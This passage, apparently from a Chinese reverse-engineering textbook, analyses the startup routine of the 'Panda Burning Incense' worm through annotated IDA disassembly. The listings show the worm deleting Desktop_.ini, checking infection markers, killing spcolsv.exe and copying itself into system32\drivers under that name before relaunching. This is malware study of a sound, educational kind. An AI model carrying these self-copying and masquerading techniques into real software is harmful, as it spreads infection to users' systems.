15.3 “熊猫烧香”的启动过程分析

首先分析三大功能函数中的CreateAndRunPanda,如代码清单15-3所示。

代码清单15-3 函数CreateAndRunPanda代码片段1—IDA分析


;这是一个无参函数

004082F8 CreateAndRunPanda proc near

004082F8 var_424=dword ptr-424h

004082F8 var_420=dword ptr-420h

004082F8 var_41C=dword ptr-41Ch

004082F8 var_418=dword ptr-418h

004082F8 uCmdShow=dword ptr-414h

004082F8 var_410=dword ptr-410h

;局部变量标号定义略

004082F8 var_4=dword ptr-4

;函数入口起始处

004082F8 push ebp

004082F9 mov ebp, esp

004082FB mov ecx,84h

loc_408300:;地址标号

00408300 push 0;申请局部变量空间

00408302 push 0

00408304 dec ecx

;循环跳转,共申请0x84次,每次申请8字节栈空间

00408305 jnz short loc_408300

00408307 push ecx

00408308 push ebx

00408309 push esi

0040830A push edi

0040830B xor eax, eax

0040830D push ebp

0040830E push offset loc_4088DD

00408313 push dword ptr fs:[eax]

00408316 mov fs:[eax],esp

00408319 lea edx,[ebp+var_3B8];[ebp+var_3B8]保存路径字符串首地址

0040831F xor eax, eax

00408321 call sub_40277C;获取当前程序所在路径,重命名为GetPathName

00408326 mov eax,[ebp+var_3B8]

0040832C lea edx,[ebp+var_3B4];[ebp+var_3B4]保存路径字符串首地址

00408332 call sub_405684;获取路径,不包含名称,重命名为GetPath

00408337 lea eax,[ebp+var_3B4]

0040833D mov edx, offset dword_4088F4;字符串"Desktop_.ini"的首地址

00408342 call sub_403ED4;字符串追加函数,重命名为CatStr

00408347 mov eax,[ebp+var_3B4];追加后的字符串首地址

0040834D call sub_4057A4;检查"Desktop_.ini"文件是否存在

00408352 test al, al;不存在al为0

00408354 jz loc_4083E4;不存在执行跳转

0040835A push 80h;获取路径长度

0040835F lea edx,[ebp+var_3C0];保存路径字符串首地址

00408365 xor eax, eax

00408367 call GetPathName;获取当前路径

0040836C mov eax,[ebp+var_3C0]

00408372 lea edx,[ebp+var_3BC];保存路径字符串首地址

00408378 call GetPath;获取路径,不包含名称

0040837D lea eax,[ebp+var_3BC]

00408383 mov edx, offset dword_4088F4;字符串"Desktop_.ini"的首地址

00408388 call CatStr;字符串追加函数

0040838D mov eax,[ebp+var_3BC];追加后的字符串

00408393 call sub_4040CC;检查字符串,重命名为CheckStr

00408398 push eax;文件路径

00408399 call SetFileAttributesA;设置文件属性

0040839E push 1;设置等待时间

004083A0 call Sleep

004083A5 lea edx,[ebp+var_3C8]

004083AB xor eax, eax

004083AD call GetPathName;获取当前路径,首地址保存到[ebp+var_3C8]中

004083B2 mov eax,[ebp+var_3C8]

004083B8 lea edx,[ebp+var_3C4]

004083BE call GetPath;获取路径,首地址保存到[ebp+var_3C4]中

004083C3 lea eax,[ebp+var_3C4]

004083C9 mov edx, offset dword_4088F4;字符串"Desktop_.ini"的首地址

004083CE call CatStr;字符串追加函数

004083D3 mov eax,[ebp+var_3C4]

004083D9 call CheckStr;检查字符串

004083DE push eax;压入路径字符串

004083DF call DeleteFileA;删除文件


上述代码主要获取当前路径,并将“Desktop_.ini”拼接到当前路径中,同时检查此文件是否存在。如果文件存在,则将其删除。在执行完这些指令以后,代码就进入了新的流程中,如代码清单15-4所示。

代码清单15-4 函数CreateAndRunPanda的代码片段2—IDA分析


loc_4083E4:

004083E4 lea edx,[ebp+var_3CC]

004083EA xor eax, eax

004083EC call GetPathName;获取全路径,首地址保存到[ebp+var_3CC]中

004083F1 mov eax,[ebp+var_3CC]

004083F7 lea edx,[ebp+var_4];保存当前文件信息的首地址

;根据路径,将当前程序读取到内存中,使用[ebp+var_4]保存其首地址

004083FA call sub_407760;将函数重命名为ReadFileToMem

004083FF lea eax,[ebp+var_8]

00408402 call sub_403C44;设置标记

00408407 mov eax,[ebp+var_4];获取文件在内存中的首地址

;获取文件大小,由于是用Delphi编写的,字符串首地址减去4后

;取出的4字节内容便是此字符串的长度

0040840A call sub_403ECC;重命名为GetFileLen

0040840F mov ebx, eax

00408411 jmp short loc_408437


代码清单15-4完成了将病毒文件信息读取到内存中的操作,其目的是复制病毒信息,感染其他文件。我们进一步了解其流程,跟踪到标号loc_408437处,如代码清单15-5所示。

代码清单15-5 函数CreateAndRunPanda的代码片段3—IDA分析


loc_408437:;代码清单15-4中的程序流程运行到此处

00408437 test ebx, ebx;检查字符串长度

00408439 jle short loc_408445;判断标记信息,没有标记表明是第一次运行

0040843B mov eax,[ebp+var_4];获取文件在内存中的首地址

;判断文件尾数据是否为0,这是感染过的文件标记

0040843E cmp byte ptr[eax+ebx-1],0

00408443 jnz short loc_408413;如果没有被感染过,则跳转失败


代码清单15-5进行了标记检查工作,以判断病毒程序是否被多次运行,同时设置了相关的标记信息。接下来,程序流程进入病毒程序复制处,“spcolsv.exe”在进程中出现,代码清单15-6分析了其被感染的过程。

代码清单15-6 函数CreateAndRunPanda的代码片段4—IDA分析


loc_408445:;跳转标记

00408445 cmp[ebp+var_8],0

;判断标记信息,若没有标记,则是第一次运行

;如果不是第一次运行,则跳转成功,跳转到病毒执行流程中

00408449 jnz loc_4085BA

0040844F lea edx,[ebp+var_3D8];存放路径的首地址指针变量

00408455 xor eax, eax

00408457 call GetPathName;获取病毒程序所在路径(包括程序名称)

0040845C mov eax,[ebp+var_3D8];获取全路径首地址并保存到eax中

00408462 lea edx,[ebp+var_3D4];保存大写路径首地址

00408468 call sub_40532C;字符串转换为大写,重命名为ToUpper

0040846D mov eax,[ebp+var_3D4]

00408473 push eax

00408474 lea eax,[ebp+var_3E4];保存系统路径

0040847A call sub_4054BC;获取系统路径,重命名为GetSystemPath

0040847F push[ebp+var_3E4];压入系统路径的首地址

00408485 push offset aDrivers;"drivers\\"

0040848A push offset aSpcolsv_exe;"spcolsv.exe"

0040848F lea eax,[ebp+var_3E0];追加后字符串的首地址

00408495 mov edx,3

;将字符串"drivers\\"与"spcolsv.exe"追加到系统字符串中

0040849A call sub_403F8C;追加两个字符串,更名为CatStrStr

0040849F mov eax,[ebp+var_3E0];追加后字符串的首地址

004084A5 lea edx,[ebp+var_3DC];保存转换大写字符串的首地址

004084AB call ToUpper

004084B0 mov edx,[ebp+var_3DC];拼接后的路径字符串首地址

004084B6 pop eax;当前程序所在的路径

004084B7 call CmpStr

;如果病毒程序在系统目录下,并且被伪装成"spcolsv.exe",则跳转成功

004084BC jz loc_4085BA;相等则跳转

004084C2 mov eax, offset aSpcolsv_exe;"spcolsv.exe"

;查找进程,并终止进程,重命名为FindAndEndProcess

004084C7 call sub_4060D4

004084CC mov eax, offset aSpcolsv_exe;"spcolsv.exe"

004084D1 call FindAndEndProcess

004084D6 push 80h;dwFileAttributes

004084DB lea eax,[ebp+var_3EC];保存系统路径的首地址

004084E1 call GetSystemPath

004084E6 push[ebp+var_3EC]

004084EC push offset aDrivers;"drivers\\"

004084F1 push offset aSpcolsv_exe;"spcolsv.exe"

004084F6 lea eax,[ebp+var_3E8];追加后字符串的首地址

004084FC mov edx,3

00408501 call CatStrStr

00408506 mov eax,[ebp+var_3E8]

0040850C call CheckStr

00408511 push eax;文件路径

00408512 call SetFileAttributesA;设置文件属性

00408517 push 1;设置等待时间

00408519 call Sleep

0040851E push 0;bFailIfExists

00408520 lea eax,[ebp+var_3F4];保存系统路径字符串首地址

00408526 call GetSystemPath

0040852B push[ebp+var_3F4]

00408531 push offset aDrivers;"drivers\\"

00408536 push offset aSpcolsv_exe;"spcolsv.exe"

0040853B lea eax,[ebp+var_3F0]

00408541 mov edx,3

00408546 call CatStrStr;拼接后的系统路径字符串首地址

0040854B mov eax,[ebp+var_3F0];获取拼接后的路径首地址

00408551 call CheckStr;检查拼接字符串

00408556 push eax;lpNewFileName

00408557 lea edx,[ebp+var_3F8];保存当前路径

0040855D xor eax, eax

0040855F call GetPathName

00408564 mov eax,[ebp+var_3F8]

0040856A call CheckStr;检查路径字符串

0040856F push eax;当前文件所在路径

;复制自身病毒文件,伪装到C:\\Windows\\system32\\drivers\\spcolsv.exe

;这时系统目录下的spcolsv.exe已经是"熊猫烧香"的病毒文件

00408570 call CopyFileA

00408575 push 1;uCmdShow

00408577 lea eax,[ebp+var_400]

0040857D call GetSystemPath

00408582 push[ebp+var_400]

00408588 push offset aDrivers;"drivers\\"

0040858D push offset aSpcolsv_exe;"spcolsv.exe"

00408592 lea eax,[ebp+var_3FC]

00408598 mov edx,3

0040859D call CatStrStr;拼接系统路径

004085A2 mov eax,[ebp+var_3FC]

004085A8 call CheckStr;检查拼接字符串

004085AD push eax;复制后的病毒文件所在路径

004085AE call WinExec;运行病毒文件

004085B3 push 0;uExitCode

004085B5 call ExitProcess_0;退出程序


代码清单15-6中的反汇编代码虽然很多,但多数都在执行重复性的操作。这些操作的目的只有一个:找到进程中运行的“spcolsv.exe”,并将其终止。在系统目录中删除“spcolsv.exe”,将病毒自身伪造成“spcolsv.exe”并启动,这是病毒第一次运行时需要执行的。启动系统目录中伪造的病毒程序“spcolsv.exe”后,病毒程序已经在系统目录下了,并且名字已经伪装成了“spcolsv”。执行完代码清单15-6中的“004084B7 call CmpStr”代码后,程序流程将会进入地址标号loc_4085BA处,如代码清单15-7所示。

代码清单15-7 函数CreateAndRunPanda的代码片段5—IDA分析


loc_4085BA:;地址标号

004085BA mov eax,[ebp+var_8]

004085BD call GetFileLen;获得标记信息内容的长度

004085C2 mov ecx, eax

004085C4 lea eax,[ebp+var_4];获取病毒文件在内存中的首地址

004085C7 mov edx, ebx

004085C9 call sub_40416C;删除字符串中的信息,重命名为DelStrBuff

004085CE jmp loc_40889D;进入循环,获取标记流程


检查到病毒文件已经在系统目录下后,则会执行代码清单15-7中的代码,释放之前申请存放病毒文件信息的内存,并获取标记信息。在调试过程中,为了进入代码清单15-7中进行动态分析,可在代码清单15-6中修改关键比较跳转,从而进入此流程,如图15-5所示。

图 15-5 伪造比较结果

执行完“CALL pand.00404018”代码后,将ZF标记从0修改为1,此时JE跳转将会被触发,从而进入代码清单15-7的流程中。最后执行“jmp loc_40889D”进入获取标记流程,如代码清单15-8所示。

代码清单15-8 函数CreateAndRunPanda的代码片段6—IDA分析


loc_40889D:;地址标号

0040889D mov edx,[ebp+var_8];获取标记对比信息

004088A0 mov eax, offset asc_408934;获取数值标记1

;查询标记值1,并获取其位置,重命名为FindSignPos

004088A5 call sub_4041B4

004088AA test eax, eax

004088AC jg loc_4085D3;如果查找到标记字符,则跳转到loc_4085D3处

;其余代码分析略


代码清单15-8主要获取标记并进行检查。当标记等于数值1时,会进入标号loc_4085D3的流程中,并进行进一步检查。标号loc_4085D3中的代码流程只有被感染的程序才会执行。若要调试此段代码,可在虚拟机中运行病毒,使其感染其他文件。对已感染病毒的文件进行调试分析,即可进入到标号为loc_4085D3的流程中。